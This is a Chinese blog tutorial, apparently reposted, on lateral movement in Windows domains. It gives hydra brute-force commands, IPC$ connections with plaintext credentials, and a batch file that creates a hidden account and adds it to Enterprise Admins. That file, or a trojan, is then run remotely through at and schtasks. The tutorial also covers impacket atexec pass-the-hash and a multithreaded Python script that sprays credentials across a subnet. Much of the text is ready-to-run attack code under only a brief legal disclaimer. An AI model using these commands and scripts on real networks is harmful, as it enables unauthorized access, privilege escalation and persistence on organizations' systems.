p66 内网安全-域横向批量atschtasksimpacket

news2024/9/22 7:31:00

数据来源

        本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。   

  

基本概念

DMZ区域:称为“隔离区”,也称‘’非军事化区/停火区”

工作组(Work Group)是局域网中的一个概念。它是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。

和工作组类似,但是由域控制器统一管理,更适合大型网络

Linux域渗透问题

Linux实现域的功能需要安装LDAP,功能不如域强且技术要求高,较少被使用

局域网技术适用问题

有些局域网内的攻击方法在域内不生效

大概内网安全流程问题

信息收集-权限提升-横向渗透-权限维持

演示案例:

  • 横向渗透明文传递 at&schtasks
  • 横向渗透明文 HASH 传递 impacket
  • 横向渗透明文 HASH 传递批量利用-综合
  • 横向渗透明文 HASH 传递批量利用-升级版

前提:你要有域环境才能复现下面的案例,域环境的部署可参考我之前写的文章:域(DOmain)_正经人_____的博客-CSDN博客 

        不同的是我这里的域主机与kali这些主机都是桥接到VMnet8(NAT)模式上是可以正常上网的,懒得手动配ip,而且之后使用kali攻击时可能还需要用到网络。

案例1 - 横向渗透明文传递 at&schtasks

在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机? 这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主 机上执行命令。

获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户 名字典 -> 用到密码明文当做密码字典 -> 尝试连接->创建计划任务(at|schtasks) -> 执行文件可为后门或 者相关命令

前提:拿下的一条内网主机,如域子机win2003

然后在域子机查询域主机的ip,先查域主机名称 -> ping一下这个名称获取ip

net time /domain   # 判断主域(域主机/域控/域的控制机)
ping 计算机名称     # 获取ip

利用流程

1. 建立 IPC 链接到目标主机( IPC$ 是一条空链接,别人登录这条链接就能浏览电脑所有数据,默认是开启的只要你没有关闭过)、

注意:要建立连接你就需要知道目标的账号密码

获取域主机的账号用户名

net group "Domain Admins" /domain

登录密码这个没办法,只能暴力破解(我这里就不演示了),这里我就介绍两款破解工具:NTscan10、弱口令破解工具

密码本: 想要破解成功就要有够深的密码本,这里再推荐一个密码本生成工具:密码本生成.zip_免费高速下载|百度网盘-分享无限制 (baidu.com)

如果你的信息收集足够完善还可以用社会工程学密码字典生成器亦思社会工程学字典生成器.zip_免费高速下载|百度网盘-分享无限制 (baidu.com) 

理论上来说只要你的密码本够全面,目标也没有访问限制就没有破解不了的密码,上面这几款工具都是中文是使用很简单我就不多说了。 

其他破解工具: 

也有人喜欢利用 Burp Suite 进行密码爆破,这个工具安装和使用都相当上面的工具来说就麻烦一点,下载与安装教程可以用我之前写的文章:Java环境安装、python环境安装、Burpsuite安装_kali自带java吗_正经人_____的博客-CSDN博客

 Burp Suite 破密码的教程可以看这位大佬的:(167条消息) 利用 Burp Suite 进行密码爆破_世界尽头与你的博客-CSDN博客

如果你不想下载这些花里胡哨的破解工具,你还可以使用kali自带的破解工具:hydra(不用下载安装)

破解教程:kail - 扫描与爆破_正经人_____的博客-CSDN博客(可以下文章内搜索:hydra 快速定位查看,这篇文章的破解教程我只是演示了几个常见的破解端口,其他端口只要开启了服务也是可以破解的如mysql之类的,只要把破解命令最后的服务名称改成端口对应的服务名就可以

如:

远程桌面(RDP)

hydra -l administrator -P 密码字典 192.168.1.47 rdp

共享文件(SMB)

hydra -l administrator -P 密码字典 192.168.1.47 smb

文件传输(FTP)

hydra -l 用户名 -P 密码字典 192.168.1.47 ftp

邮箱协议(POP3)

hydra -l 用户名 -P 密码字典 192.168.1.47 pop3

MSSQL数据库

hydra -l sa -P 密码字典 192.168.1.47 mssql

MySQL数据库

hydra -l 用户名 -P 密码字典 192.168.1.47 mysql

Oracle数据库

hydra -l 用户名 -P 密码字典 192.168.1.47 oracle

Redis数据库

hydra -l 用户名 -P 密码字典 192.168.1.47 redis

PgSQL数据库

hydra -l 用户名 -P 密码字典 192.168.1.47 postgresql

只要你学会利用上面这些工具,就没有你破解不了的账号密码,但是没有经受害者允许随意攻击他人注意是违法行为。

话不多说进入正题,建立IPC连接(连接成功的前提:目标要开启了139、445和没防火墙拦截,windows的445端口是默认开启的

#         目标ip              登录密码                  用户名
net use \\192.168.1.47\ipc$ "207080sA" /user:god.org\administrator   # 建立 ipc 连接,把对方的整个电脑数据共享过来
net use \\192.168.1.47\ipc$ "207080sA" /user:domain\administrator  # 域内连接

这里先介绍一下其他用法:

比如查看目标c盘的文件列表

# 要执行的命令、目标ip\目标文件目录
dir \\192.168.1.47\C$

不能讲太多,这东西很敏感,不易通过审核 

2. 拷贝要执行的命令脚本到目标主机

首先这里要创建一个批处理文件,里面可以存放你要执行的命令,示例如下: 

我现在要做的是创建一个隐藏账号(参考),然后将该账号加入域的管理员组,也就是提权

用到的命令:

net user  用户名    密码   /add                                # 新建用户,验证 net user 查看用户列表

net localgroup  组名   用户名    /add                      # 添加用户到组

系统默认常见用户身份:

  • Domain Admins:域管理员(默认对域控制器有完全控制权)
  • Domain Computers:域内机器
  • Domain Controllers:域控制器
  • Domain Guest:域访客,权限低
  • Domain Users:域用户
  • Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权) 

因为这些组都是默认的不知道他们的域管理员会不会改所以先确认一下先查看一下用户组情况:

net group /domain

  

实现: 

批处理的文件内容(我一开始是用 net localgroup 这条命令但是他报错“本地用户组找不到”,该命令应该是只能用于本地用户组的操作,查了一下百度找到了net group命令来代替 (参考))

net user xiaoheizi$ 123456sA /add
net group "Enterprise Admins" xiaoheizi$ /add

开始拷贝我们的批处理文件到目标主机

这里又遇到了问题,我的文件路径是有空格的直接运行和单引号都报错

解决:

  • 方法一:用双引号包裹起来,如:"C:\Documents and Settings"
  • 方法二:绕过去,创建一个镜像:例:在CMD中输入: subst w: "C:\Documents and Settings"。然后就可以直接用w:替代C:\Documents and Settings了(参考)
# 要执行的命令(copy 要拷贝的本地文件  到目标的文件路径)、目标ip\目标文件目录
copy "C:\Documents and Settings\zhangsan\桌面\add.bat" \\192.168.1.47\c$ # 拷贝执行文件到目标机器

 

检查一下 

# 要执行的命令、目标ip\目标文件目录
dir \\192.168.1.47\C$

  

3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本

这里有两种实现方式:atschtasks

# at < Windows2012
copy add.bat \\192.168.1.41\c$     # 拷贝执行文件到目标机器
at \\192.168.1.41 15:47 c:\add.bat # 添加计划任务

# schtasks >=Windows2012
copy add.bat \\192.168.1.41\c$  # 复制文件到其 C 盘
schtasks /create /s 192.168.1.47 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F # 创建 adduser 任务(任务名称可改)
schtasks /run /s 192.168.1.41 /tn adduser /i    # 运行 adduser 任务

我个人习惯用at,这里用at来演示 

查看目标时间  

net time /domain           # 查看域控时间

创建计划任务(这一步容易出错,并不是权限或写错而是系统对复制粘贴进来的命令识别有点毛病,解决:可以cmd中把空格一一干掉然后再手动补回来

at \\192.168.1.47 00:15 "C:\add.bat"

 at 查看任务

 

看到这里你有没有一个大胆的想法,既然我们能把一个批处理文件复制到目标然后执行,那我们也可以左轮改AK,小巴改警车(生成木马文件并执行

改用木马:(我以前写过,就直接复制过来了)

方式一:使用鸽子牧民战天

 制作木马

         

         

         

然后把木马程序放到对方的电脑上:copy d:\xiahezi.exe  \\10.1.1.1\c$\windows\system32

 

         然后要运行一下木马程序,以后就变成服务了:at \\ip  时间  “要运行的文件路径”

        

运行对方的木马文件:  at  \\10.1.1.1  15:48  "c:\windows\system32\xiahezi.exe"

 

 

方式2:使用CS 

cobaltstrike的安装与基础使用_windows安装cobaltstrike_正经人_____的博客-CSDN博客

4. 删除 IPC 链接

# schtasks 

schtasks /delete /s 192.168.1.41 /tn adduser /f     # 删除 adduser 任务

# at 的时间到了就自动执行并删除了,也可手动删除

# 可以先查看任务列表获取任务id
at
# 然后再删除指定的任务
at 任务id /delete

 ipc的一些其他操作

dir \\xx.xx.xx.xx\C$\ # 查看文件列表

copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件

copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件

net use \\xx.xx.xx.xx\C$\1.bat /del # 删除

IPC net view xx.xx.xx.xx # 查看对方共享

建立 IPC 常见的错误代码

  1. 5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

  2. 51:网络问题,Windows 无法找到网络路径 (

  3. 53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题

  4. 67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$

  5. 1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除

  6. 1326:账号密码错误

  7. 1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况

  8. 2242:用户密码过期,目标有账号策略,强制定期更改密码

建立 IPC 失败的原因

  1. 目标系统不是 NT 或以上的操作系统
  2. 对方没有打开 IPC$共享
  3. 对方未开启 139、445 端口,或者被防火墙屏蔽
  4. 输出命令、账号密码有错误

案例2 - 横向渗透明文 HASH 传递

Impacket官方仓库
GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.

EXE打包版(win)
https://github.com/maaaaz/impacket-examples-windows

可通过atexec.exe连接对方主机执行命令,支持密码为HASH密文 

# 要运行的程序      账号:密码          目标ip        要执行的系统命令
atexec.exe ./administrator:207080sA@192.168.1.55 "whoami"
# 其他方式
atexec.exe god/administrator:207080sA@192.168.1.45  "whoami"
# 使用hash密文的方式
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.1.45 "whoami"

 这里报错了“找不到对象名称”,换个命令:ipconfig

案例3 - 横向渗透明文 HASH 传递批量利用-综合(这个案例实用价值不大)

这个案例是建立在案例2下载的脚本基础上执行的

        首先要收集网段ip,比如你已经入侵了内网的某台主机,知道该主机的账号密码,就可以用这个密码去尝试其他内网主机看能不能成功登录(就是碰运气看其他内网主机会不会也是这个登录,俗称“撞密码”) 

收集ip(使用系统内置命令循环ping)

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

存放ip信息到一个txt文件 

1)批量检测 IP 对应明文 连接

这里要创建后缀为.bta的批处理文件

@echo off
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "207080sA" /user:administrator
pause

运行效果 

2)批量检测 IP 对应明文 回显版

@echo off
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:207080sA@%%i "ipconfig"
pause

破解密码与使用hash的也是同样的思路,这里就不演示了 

FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami  # 批量检测明文对应 IP 回显版

FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测 HASH 对应 IP 回显版

案例4 - 横向渗透明文 HASH 传递批量利用-升级 

这是视频中老师简单写的pyhton脚本,有编程基础的就可以完善这个过程,也可以用其他语言重写,这里先演示一下后面我会用pyhton完善这个脚本。 

net use \\192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin

#pip install pyinstaller
#pyinstaller -F fuck_neiwang_001.py 生成可执行EXE


import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.31',
    '192.168.3.33'
}

users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'mack',
    'mary',
    'vpnadm',
    'webadmin'
}
passs={
    'admin',
    'admin!@#45',
    'Admin12345'
}

for ip in ips:
    for user in users:
        for mima in passs:
            exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
            print('--->'+exec+'<---')
            os.system(exec)
            time.sleep(1)

直接运行代码(注意这里你的脚本要有正确的ip地址、用户名与密码才能连接成功)

完善这个脚本

1)先完善ip的信息收集(因为现在的目标ip是手写的就很不方便,我们学编程的肯定要利用自身掌握的技能让自己偷懒) 

collect.py

# coding=gbk
import os,time
import threading                      # 导入threading模块实现多线程

# net use \\192.168.1.55\ipc$ 207080sA /user:god\Administrator
# pip install pyinstaller
# pyinstaller -F fuck_neiwang_001.py 生成可执行EXE

users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'mack',
    'mary',
    'vpnadm',
    'webadmin'
}
passs={
    'admin',
    'admin!@#45',
    '207080sA'
}

def ips(ip,x):
    """
    循环ping获取指定网段存活的主机ip
    :param ip: 接收一个ip网段
    :param x: ip最后一位数字
    :return: Nune
    """
    ip_i = f"{ip}.{x}"
    cmd = f'ping {ip_i}'
    result = os.system(cmd)  # 执行失败返回1,成功0
    if result == 0:
       print(ip_i)
       with open(r'ip.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
           f.write(ip_i + '\n')          # write() 方法写入数据

def Lateral_infiltration():
    """
    尝试与目标主机建立ipc连接
    :return:
    """
    for ip in open('ip.txt'):                                  # ip.txt 就是刚才我们通过ping提取出来的目标主机ip
        ip = ip.replace('\n', '')                              # replace() 方法替换字符串,将换行替换为空
        for user in users:
            for mima in passs:
                exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
                print(f'****** 正在尝试建立主机ip为{ip}的ipc连接,user={user},pass={mima} ******')
                result = os.popen(exec)
                if "命令成功完成" in result.read():     # 判断result.read()中是否有“命令执行成功”这个字符
                    print(result.read())
                    with open(r'result.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
                        f.write(ip + f"|ok user={user},pass={mima}" + '\n')  # write() 方法写入数据

if __name__ == '__main__':
    ip = input("输入你要扫描的网段,如:192.168.1:")
    thread = 254                # 控制要创建的线程
    # 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
    for x in range(1,thread + 1):
        t = threading.Thread(target=ips, kwargs={"ip": ip,"x":x})     # 创建线程对象,target=执行目标任务名,args 以元组的形式传参,kwargs 以字典的形式传参
        t.start()                      # 启动线程,让他开始工作
        if x == 254:                   # 判断已经执行完ip获取
            time.sleep(1)
            Lateral_infiltration()

使用:

运行结果:

注意:我这里写的脚本只适合扫描目标ip的子网掩码是/24 ->255.255.255.0 的,如果有其他需求可以自己改下脚本

2)现在的用户名与密码也是手动写的,也要改一下

创建两个.txt文件,如:passs.txt、users.txt

内容格式示例

admin
admin!@#45
207080sA

# coding=gbk
import os,time
import threading                      # 导入threading模块实现多线程

# net use \\192.168.1.55\ipc$ 207080sA /user:god\Administrator
# pip install pyinstaller
# pyinstaller -F fuck_neiwang_001.py 生成可执行EXE

def ips(ip,x):
    """
    循环ping获取指定网段存活的主机ip
    :param ip: 接收一个ip网段
    :param x: ip最后一位数字
    :return: Nune
    """
    ip_i = f"{ip}.{x}"
    cmd = f'ping {ip_i}'
    result = os.system(cmd)  # 执行失败返回1,成功0
    if result == 0:
       print(ip_i)
       with open(r'ip.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
           f.write(ip_i + '\n')          # write() 方法写入数据

def Lateral_infiltration():
    """
    尝试与目标主机建立ipc连接
    :return:
    """
    for ip in open('ip.txt'):                                  # ip.txt 就是刚才我们通过ping提取出来的目标主机ip
        ip = ip.replace('\n', '')                              # replace() 方法替换字符串,将换行替换为空
        for user in open('users.txt'):
            user = user.replace('\n', '')                      # replace() 方法替换字符串,将换行替换为空
            for mima in open('passs.txt'):
                mima = mima.replace('\n', '')                  # replace() 方法替换字符串,将换行替换为空
                exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
                print(f'****** 正在尝试建立主机ip为{ip}的ipc连接,user={user},pass={mima} ******')
                result = os.popen(exec)
                if "命令成功完成" in result.read():     # 判断result.read()中是否有“命令执行成功”这个字符
                    print(result.read())
                    with open(r'result.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
                        f.write(ip + f"|ok user={user},pass={mima}" + '\n')  # write() 方法写入数据

if __name__ == '__main__':
    ip = input("输入你要扫描的网段,如:192.168.1:")
    thread = 254                # 控制要创建的线程
    # 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
    for x in range(1,thread + 1):
        t = threading.Thread(target=ips, kwargs={"ip": ip,"x":x})     # 创建线程对象,target=执行目标任务名,args 以元组的形式传参,kwargs 以字典的形式传参
        t.start()                      # 启动线程,让他开始工作
        if x == 254:                   # 判断已经执行完ip获取
            time.sleep(1)
            Lateral_infiltration()

我这个将之前生成的 result.txt、ip.txt 文件删除,再次运行代码测试脚本

3)现在的脚本运行数据有点慢给他再装个多线程

下面的代码出来获取目标网段存活ip这个函数我没改,其他的都改了一遍(不会的可以给我留言)

# coding=gbk
import os,time
import threading                      # 导入threading模块实现多线程
import queue                          # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步

# net use \\192.168.1.55\ipc$ 207080sA /user:god\Administrator

def ips(ip,x):
    """
    循环ping获取指定网段存活的主机ip
    :param ip: 接收一个ip网段
    :param x: ip最后一位数字
    :return: Nune
    """
    ip_i = f"{ip}.{x}"
    cmd = f'ping {ip_i}'
    result = os.system(cmd)  # 执行失败返回1,成功0
    if result == 0:
       print(ip_i)
       with open(r'ip.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
           f.write(ip_i + '\n')          # write() 方法写入数据
    time.sleep(0.5)

def Lateral_infiltration():
    """
    尝试与目标主机建立ipc连接
    :return:
    """
    while not q.empty():                     # while 循环 not(非,反转) 真为假,假为真
        cmd = q.get()                        # 获取队列中的数据(建立ipc连接的命令)
        print(f'****** 正在尝试与主机建立ipc连接,{cmd} ******')
        # result = os.popen(cmd)
        result = os.system(cmd)
        if result == 0:
            with open(r'result.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
                f.write(cmd + '\n')  # write() 方法写入数据
        else:
            print(f"{cmd}**无法建立连接,可能是用户名或密码错误")
        # if "命令成功完成" in result.read():     # 判断result.read()中是否有“命令执行成功”这个字符
        #     print(result.read())
        #     with open(r'result.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
        #         f.write(cmd + '\n')  # write() 方法写入数据
        # else:
        #     print(f"{cmd}**无法建立连接,可能是用户名或密码错误{result},{result.read()}")
if __name__ == '__main__':
    sum = 0                     # 用来创建最后面的线程,写死50感觉还是太慢,真男人就是要快!!!
    q = queue.Queue()                                                         # 创建队列
    ip = input("输入你要扫描的网段,如:192.168.1:")
    thread = 254                # 控制要创建的线程
    # 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
    for x in range(1,thread + 1):
        t = threading.Thread(target=ips, kwargs={"ip": ip,"x":x})     # 创建线程对象,target=执行目标任务名,args 以元组的形式传参,kwargs 以字典的形式传参
        t.start()                      # 启动线程,让他开始工作

    time.sleep(2.5)                # 阻塞2.5s钟留多点时间给ip获取的函数(大家好,我是练习2年半的小黑子。)
    """
    给Lateral_infiltration函数搞个多线程
    """
    # 1、先搞定参数问题(ip、用户名、密码)让参数可以同步
    for ip in open('ip.txt'):               # ip.txt 就是刚才我们通过ping提取出来的目标主机ip
        ip = ip.replace('\n', '')          # replace() 方法替换字符串,将换行替换为空
        for user in open('users.txt'):
            user = user.replace('\n', '')  # replace() 方法替换字符串,将换行替换为空
            for mima in open('passs.txt'):
                mima = mima.replace('\n', '')  # replace() 方法替换字符串,将换行替换为空
                exec = "net use \\" + "\\" + ip + '\ipc$ ' + mima + ' /user:god\\' + user      # 定义命令执行语句
                q.put(exec)  # 向队列中插入元素(cmd命令,建立ipc连接)
                sum += 1
                # print(q.get())
    # 2、创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
    # 我这里的线程数就改成,建立ipc连接命令的一半
    sum2 = int(sum / 2)
    for x in range(sum2):                              # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9
        t = threading.Thread(target=Lateral_infiltration)    # 创建线程对象,target=执行目标任务名
        t.start()

运行效果:

4)其实到这里脚本就写完了,不过我看视频中的老师的可以打包成.exe可执行文件,这样就不需要依赖python3的环境就可以运行,我也试试(试完了没能成功生成建立ipc连接成功的文件,也就是失败了,你们也可以跳过这一步,运行py脚本是没问题的

pip install pyinstaller     # 安装pyinstaller模块
pyinstaller -F collect.py   # 生成可执行EXE

安装 

 打包(这里建议在你的脚本文件的根目录打开cmd执行代码)

使用

我这里报错了,检查一下发现我的用户名与密码的文本文件没有复制过来,太晚了脑子有点迟钝 

 

5)这里脚本的使用说明

  • 输入的网段地址必须是3位数的也就是说子网掩码是/24,如:192.168.1
  • 要自己创建两个.exe文件,分别存放用户名与密码(users.txt、passs.txt)
  • 运行脚本时如果目标网段有存活ip地址就会生成ip.txt文件,否则不会生成
  • 运行脚本时如果能够成功建立ipc连接才会生成result.txt文件,否则不会生成
  • 用户名与密码的txt文件的内容都是可以使用工具生成,不过用户名建议自己写几个常用的就好,不然及脚本运算量会很大,运行时间会很长
  • 密码字典生成
  • 社工字典生成
  • 脚本的其他功能更新问题:等找到工作了,以后有时间再更新这个脚本的其他功能

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/447678.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言入门篇——数据篇

目录 1、变量与常量 1.1变量 1.2常量 1.2.1#define 定义的标识符常量 1.2.2枚举常量 2、数据类型关键字 3、整数 4、浮点数 5、基本数据类型 5.1、int型数据 5.2、char型数据 5.3、_Bool类型 5.4、float、double和long double 5.5、复数和虚数类型 6、总结 1、变…

Preempt-RT实时系统下IGH主站安装

文章目录 1. 安装环境2. 确定网卡类型3. 下载IGH安装包4. 配置安装5. 启动测试6. 扫描从站7. 设置环境变量 1. 安装环境 ubuntu18.04内核版本&#xff1a;4.19.72-rt25 2. 确定网卡类型 查看网卡驱动 lspci -v可以看到我的网卡驱动主要有e1000e和igb两种类型&#xff0c;其…

localhost与本机IP IPtables匹配顺序

localhost&host IPtables iptables链匹配顺序 ping localhost 当前实验网络为IPV4模式通过tcpdump抓包&#xff0c;我们可以发现ping localhost的流量最终发送到lo网卡了通过iptables pkts数据计数我们可知&#xff0c;ping localhost的iptables过滤流程为&#xff1a;应…

npm install 卡住 不动弹

npm install时如果卡住&#xff0c;不动弹&#xff0c;可以试试以下几种方式。 设置注册中心&#xff0c;使用淘宝注册中心。 这种主要解决因为网络问题引起的下载失败&#xff0c;npm config set registry https://registry.npmmirror.com&#xff0c;设置完后使用npm config…

阻止or关闭Win10自动更新

阻止or关闭Win10自动更新 https://baijiahao.baidu.com/s?id1732432888882246429&wfrspider&forpc 一、禁用Windows Update服务 1、同时按下键盘 Win R&#xff0c;打开运行对话框&#xff0c;然后输入命令 services.msc &#xff0c;点击下方的“确定”打开服务。…

轻松掌握k8s的kubectl使用命令行操作Service知识点02

1、Service将同类型一组应用统一IP访问 将一组 Pods 网络服务的抽象方法。统一Ip后&#xff0c;默认就实现了负载均衡。 1、只在Pod内部任意机器访问的ClusterIp类型 在命令行操作生成一个ClusterIp地址。这种ClusterIp只能在Pod内部访问。 生成了ClusterIp之后&#xff0…

Git的安装和学习使用(一)

本篇文章旨在分享本人在学习Git时的随笔记&#x1f929; 文章目录 一、Git 快速入门1.1 Git 概述1.2 SCM概述1.3 Git 安装1.3.1 软件下载1.3.2 软件安装1.3.3 软件测试 二、Git 基础使用2.1 Git 概念2.1.1 版本控制2.1.2 分布式2.1.3 系统2.1.4 区域 2.2 Git 基础指令2.2.1 Lin…

UTC时间、GMT时间、CST时间(北京时间)、时间戳

一、几个时间相关的概念。 GMT时间&#xff1a;Greenwich Mean Time&#xff0c;格林尼治平时&#xff0c;又称格林尼治平均时间或格林尼治标准时间。是指位于英国伦敦郊区的皇家格林尼治天文台的标准时间。 GMT存在较大误差&#xff0c;因此现在已不再被作为标准时间使用。现…

【C++入门学习:基本语法】为了缩短学习周期,只记录部分不懂的语法

文章目录 一、程序结构二、定义变量和声明变量三、变量作用域四、定义常量五、类型限定符号六、存储类七、运算符八、函数九、指针与引用十、C 的基本输入输出十一、“结构成员”和“类变量”引用 一、程序结构 #include <iostream> // C 语言定义了一些头文件&#xff…

[CoderChef复盘] START86 div4 20230419】

[CoderChef复盘] START86 div4 20230419 一、本周周赛总结P1 CodeChef Learn Problem Solving1. 题目描述2. 思路分析3. 代码实现 P2、Cricket Match2. 思路分析3. 代码实现 P3 Chef and Battery1. 题目描述2. 思路分析3. 代码实现 P4 Maximise Score1. 题目描述2. 思路分析3.…

HummerRisk V1.0 :架构升级说明

升级前须知 HummerRisk v1.0.0 版本与 HummerRisk v0.10.0 以及之前版本存在一定的差异。 HummerRisk v1.0.0 增加了一些新功能&#xff0c;也同时删除了一些功能&#xff0c;另外也对部分功能进行了重构和修复。 整体架构 功能原理 工作流程 组件说明 Vue&#xff1a;使用…

windows下为python3.x安装dlib

为任意版本python3.x安装dlib&#xff0c;通过VS2022编译方式安装更合理些, 因为目前pypi也只为windows提供了python3.5和3.6的.whl 1.安装vs2019 or later2.安装cmake3. 下载dlib的源代码(保存到 C&#xff0c;D&#xff0c;E&#xff0c;F盘都可以)4.开始编译5. 编译成果&…

科学计算库——numpy

科学计算库——numpy 一、概述 numpy作为高性能科学计算和数据分析的基础包&#xff0c;它是众多数据分析、机器学习等工具的基础架构&#xff0c;掌握numpy的功能及其用法将有助于后续其他数据分析工具的学习。本章将针对numpy库的基础功能进行详细地讲解。 二、数组对象 …

浅述 国产仪器仪表 4455D 4455E 4455F数字示波器

4455系列数字示波器具有12bit垂直分辨率&#xff0c; 5GSa/s最高采样速率&#xff0c;500Mpts/CH存储深度&#xff0c;模拟带宽500MHz、1GHz、2GHz&#xff0c;为您提供高分辨率信号采集与波形分析体验。4455系列数字示波器具有波形自动设置、波形参数自动测量与统计、光标测量…

银行数字化转型导师坚鹏:商业银行大数据风控建模方法与案例

商业银行大数据风控建模方法与案例 课程背景&#xff1a; 数字化背景下&#xff0c;很多银行存在以下问题&#xff1a; 不清楚商业银行大数据风控建模方法&#xff1f; 不清楚银行大数据风控建模应用案例&#xff1f; 不知道银行大数据风控建模核心内容&#xff1f; 课…

【源码解析】Spring事务 @Transactional 源码解析

源码解析 自动化配置 在spring-boot-autoconfigure查看spring.factories引入TransactionAutoConfiguration org.springframework.boot.autoconfigure.EnableAutoConfiguration\ org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration,\查看Tran…

大数据之Spark运行流程

文章目录 前言&#xff08;一&#xff09;Spark On Yarn集群的Client模式运行流程&#xff08;二&#xff09; Spark On Yarn集群的Cluster模式运行流程总结 前言 #博学谷IT学习技术支持# 上篇文章有讨论到Spark On Yarn的两种部署模式&#xff0c;如果有不清楚的地方&#xf…

java ssm高校学术会议论文管理系统

在研究课题--学术会议论文管理系统的实现与设计&#xff0c;对操作使用的便利性&#xff0c;系统的可制定性和安全性以及管理的全面性等多个方面研究。其中主要研究的内容是将学术会议论文管理系统功能划分为: 通知类型、通知信息、部门信息、用户信息用户反馈、会议类型、会议…

JavaScript(JS)-1.JS入门

1.JavaScript概念 (1)JavaScript是一门跨平台&#xff0c;面向对象的脚本语言&#xff0c;来控制网页行为的&#xff0c;它能使网页可交互 (2)W3C标准&#xff1a;网页主要由三部分组成 ①结构&#xff1a;HTML负责网页的基本结构&#xff08;页面元素和内容&#xff09;。 …

4.6 曲线拟合的最小二乘法

4.6.1 最小二乘问题的提法 学习目标&#xff1a; 要学习曲线拟合的最小二乘法&#xff0c;我会按照以下步骤进行&#xff1a; 理解最小二乘法的基本思想和原理&#xff0c;即在已知数据的情况下&#xff0c;通过拟合一条曲线&#xff0c;使得曲线与数据之间的误差最小化。 …